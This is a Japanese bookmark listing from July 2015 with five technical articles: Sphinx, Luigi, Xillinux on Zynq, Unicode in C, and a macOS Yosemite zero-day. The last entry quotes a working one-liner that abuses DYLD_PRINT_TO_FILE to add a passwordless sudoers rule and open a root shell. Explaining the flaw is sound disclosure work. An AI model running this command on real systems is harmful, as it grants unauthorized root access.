タグ

2015年7月24日のブックマーク (5件)

  • ドキュメントを作りたくなってしまう魔法のツールSphinx

    http://sphinx-users.jp/event/20101203_jus_benkyoukai.htmlUNIXユーザ会 2010年12月勉強会 (2010/12/3) 日UNIXユーザ会の2010年12月の勉強会にて、以下の内容で発表させていただきました。 「ドキュメントを作りたくなってしまう魔法のツール Sphinx」Read less

    ドキュメントを作りたくなってしまう魔法のツールSphinx
  • データフロー制御フレームワークLuigiを使ってビッグデータ解析をする - Qiita

    Luigiとは LuigiはPythonで書かれたデータフロー制御フレームワークです。 ストリーミング音楽配信大手のSpotifyが開発しています。ソニーと提携したことでも話題になりましたね。 Luigi公式レポジトリ 家のプレゼン資料がわかりやすいです。 一般的にビッグデータ解析では、統計・機械学習を行う前に、クレンジングやフィルタ処理をいくつも重ねる必要があります。その依存関係は複雑で、しかもデータの差し替えや失敗・中断時のやり直しなんてやりだすと、苦行の他のなにものでもありません。そんな時にLuigiは使えます。 名前のLuigiの由来は、データフローを配水管に例え、「世界で2番目に有名な緑色の服を身にまとった配管工」だとか…。赤じゃなくて緑なのは、Spotifyのコーポレートカラーと同じだからでしょうか(笑)。 Pythonではありますが、Pythonによる処理だけでなく、Had

    データフロー制御フレームワークLuigiを使ってビッグデータ解析をする - Qiita
  • XillinuxをつかってFPGA-ARMプロセッサのデータ通信をしよう - Qiita

    1. はじめに 近年、FPGACPUの協調処理による開発効率の向上や処理性能の向上に向けた動きが活発化しています。 そこで今回はFPGAとARMプロセッサが同時に積載してあるZynq上でLinuxを動作させ、 FPGAとARMプロセッサにおけるデータ通信をしてみたいと思います。 2. 準備 必要なモノ Windows PC(母艦PC) Zedboard (Zynq-7020搭載) SDカード 4GB micro USBケーブル イーサネットケーブル 母艦PCにインストールしておくべきソフトウェア Win32DiskImager SDにイメージの書き込みを行う Tera Term シリアル通信ができるものならばなんでもOK Xilinx ISE Design Suite 14.7 FPGAの回路の論理合成を行う 3. Xillinuxを使おう Zynq上ではLinux(Ubuntu)を動作

    XillinuxをつかってFPGA-ARMプロセッサのデータ通信をしよう - Qiita
    dkyktt
    dkyktt 2015/07/24
  • C言語 Unicode - Qiita

    個人的にC言語でUnicodeを扱う機会があったので調べた。体系的に説明している記事が見当たらないのでまとめておく。 Unicode とは WikipediaのUnicodeから引用する。 Unicode は世界で使われる全ての文字を共通の文字集合にて利用できるようにしようという考えで作られ、Unix、WindowsMac OS X、Plan 9[2]、Javaなどで利用されている。 文字コードと文字集合と文字エンコーディング 「文字コード」と「文字集合」と「文字エンコーディング」は異なる概念である。混同していると検索の際に適切な情報に辿りつけない。逆に、この区別がわかっていればコードを書く際に悩むことはない。私は最初、自分で混同していたことにすら気付かなかった。 「文字集合」とは、その名の通り文字の集合だ。アルファベットやカタカナ、漢字などを含む。具体的には、各文字(図形)に対して番号

    C言語 Unicode - Qiita
  • Yosemite10.10.4で権限昇格のゼロデイを試してみる - Qiita

    はじめに 6月頃から話題になってたようですが、早くも簡単に実行するコマンドがアップされていました。 echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter) — Stefan Esser (@i0n1c) 2015, 7月 22 権限昇格の脆弱性(Exploit)というのは、パスワードを回避して上級ユーザーにログインする感じのものを言います。今回のコマンドもそんな感じで、パスワード入力なしにsudo suが実行されます。 また、ここで言うゼロデイ(0day)というのは公式では修正されていない脆弱性、一般には知られていない脆弱性のことを言います。0dayだと、対象となるOS及びツールなど

    Yosemite10.10.4で権限昇格のゼロデイを試してみる - Qiita